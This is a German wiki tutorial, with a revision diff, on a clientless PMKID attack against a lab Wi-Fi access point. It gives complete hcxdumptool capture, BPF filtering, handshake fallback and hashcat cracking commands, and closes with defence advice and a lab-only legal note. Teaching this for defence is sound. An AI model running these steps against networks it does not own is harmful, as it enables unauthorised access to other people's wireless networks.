Wlan PMKID-Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
Zeile 24: Zeile 24:
  
 
=Filter auf unseren AP bauen=
 
=Filter auf unseren AP bauen=
;'''Neue Reihe (hcxdumptool 6.3.0 und neuer):''' Filter ist eine BPF-Datei. Wir erzeugen sie mit tcpdump aus der BSSID:
+
;'''Am einfachsten''' — hcxdumptool baut den Filter selbst, kein tcpdump nötig:
*tcpdump -i wlan0 wlan addr3 AA:BB:CC:11:22:33 -ddd > dd-xinux.bpf
+
*hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
;'''Alte Reihe (bis 6.2.9):''' hier genügt eine Textdatei mit der BSSID '''ohne''' Doppelpunkte:
+
;Das <code>or wlan addr3 ffffffffffff</code> lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
 +
;'''Falls hcxdumptool ohne internen Compiler gebaut wurde''', geht es über tcpdump — aber die Karte muss '''vorher''' im Monitor-Modus sein, sonst kennt tcpdump kein <code>wlan addr3</code>:
 +
*hcxdumptool -m wlan0
 +
*tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
 +
;'''Alte Reihe (bis 6.2.9):''' statt BPF eine Textdatei mit der BSSID '''ohne''' Doppelpunkte:
 
*echo aabbcc112233 > dd-xinux.txt
 
*echo aabbcc112233 > dd-xinux.txt
;Prüfen, welche Reihe installiert ist:
 
*hcxdumptool --version
 
  
 
=PMKID abgreifen=
 
=PMKID abgreifen=

Aktuelle Version vom 20. August 2026, 11:07 Uhr

Szenario

Angriff auf den Access Point dd-xinux (siehe Access Point aufsetzen).
PMKID-Angriff
clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.

Passwortliste generieren

Das AP-Passwort ist 8-stellig numerisch (00001234) — genau dafür bauen wir die Liste.
  • crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

WLAN-Karte freiräumen

NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur wlan0 aus seiner Verwaltung nehmen
  • nmcli dev set wlan0 managed no

Ziel-BSSID ermitteln

Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an. Wir brauchen die MAC-Adresse (BSSID) genau unseres APs dd-xinux.
Variante A — direkt am AP ablesen (das ist unser eigener AP)
  • iw dev wlan0 info
Variante B — kurz scannen und nach der ESSID suchen
  • hcxdumptool -i wlan0 --rcascan=active
oder mit iw von einer zweiten Karte
  • iw dev wlan0 scan | grep -iB5 dd-xinux
Wir notieren die BSSID, z. B. AA:BB:CC:11:22:33.

Filter auf unseren AP bauen

Am einfachsten — hcxdumptool baut den Filter selbst, kein tcpdump nötig
  • hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
Das or wlan addr3 ffffffffffff lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
Falls hcxdumptool ohne internen Compiler gebaut wurde, geht es über tcpdump — aber die Karte muss vorher im Monitor-Modus sein, sonst kennt tcpdump kein wlan addr3
  • hcxdumptool -m wlan0
  • tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
Alte Reihe (bis 6.2.9): statt BPF eine Textdatei mit der BSSID ohne Doppelpunkte
  • echo aabbcc112233 > dd-xinux.txt

PMKID abgreifen

Neue Reihe — mit BPF-Filter
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
Alte Reihe — mit Filterliste
  • hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
Mit --exitoneapol=1 beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
Die Flags ändern sich zwischen den Versionen — im Zweifel einmal hcxdumptool -h prüfen.

Diagnose: es kommt nichts

Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen
1. Regulatory Domain gesetzt? Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
  • iw reg get
  • iw reg set DE
2. Live-Anzeige lesen. Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild
oben AP-Status, unten Clients. Steht dd-xinux oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff.
3. Kanal festnageln. hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort
  • iw dev wlan0 info
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
(Bandschreibweise variiert je Version — hcxdumptool -h zeigt das Format.)
4. Störer wirklich weg? NetworkManager/wpa_supplicant drehen sonst an der Karte
  • airmon-ng check kill
Offline-Gegenprobe. Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt)
hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.

Fallback: voller Handshake

Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet
  • Ein Handy/Notebook mit dd-xinux verbinden (oder kurz trennen und neu verbinden).
hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — hashcat -m 22000 bleibt identisch.
Didaktisch schön
PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.

In hashcat-Format wandeln

  • hcxpcapngtool -o pmkid.hc22000 dump.pcapng
Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
Kontrolle, dass wirklich nur unser AP drin ist
  • hcxhashtool -i pmkid.hc22000 --info=stdout

Cracken

  • hashcat -m 22000 pmkid.hc22000 password.lst
Ergebnis ansehen
  • hashcat -m 22000 pmkid.hc22000 --show

Crack-Geschwindigkeiten

  • Laptop schafft circa 1000 Keys pro Sekunde
  • Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
  • Online-Rechenpower mieten
  • Cluster aus mehreren Grafikkarten bauen

Warum ist das knackbar?

00001234 ist 8-stellig numerisch
10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.

Verteidigung

  • Langes, zufälliges PSK.
  • WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.

Rechtlicher Hinweis

Der BPF-Filter ist nicht nur Technik, sondern Pflicht
Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP dd-xinux angreifen und keine fremden Netze im Gebäude.

Links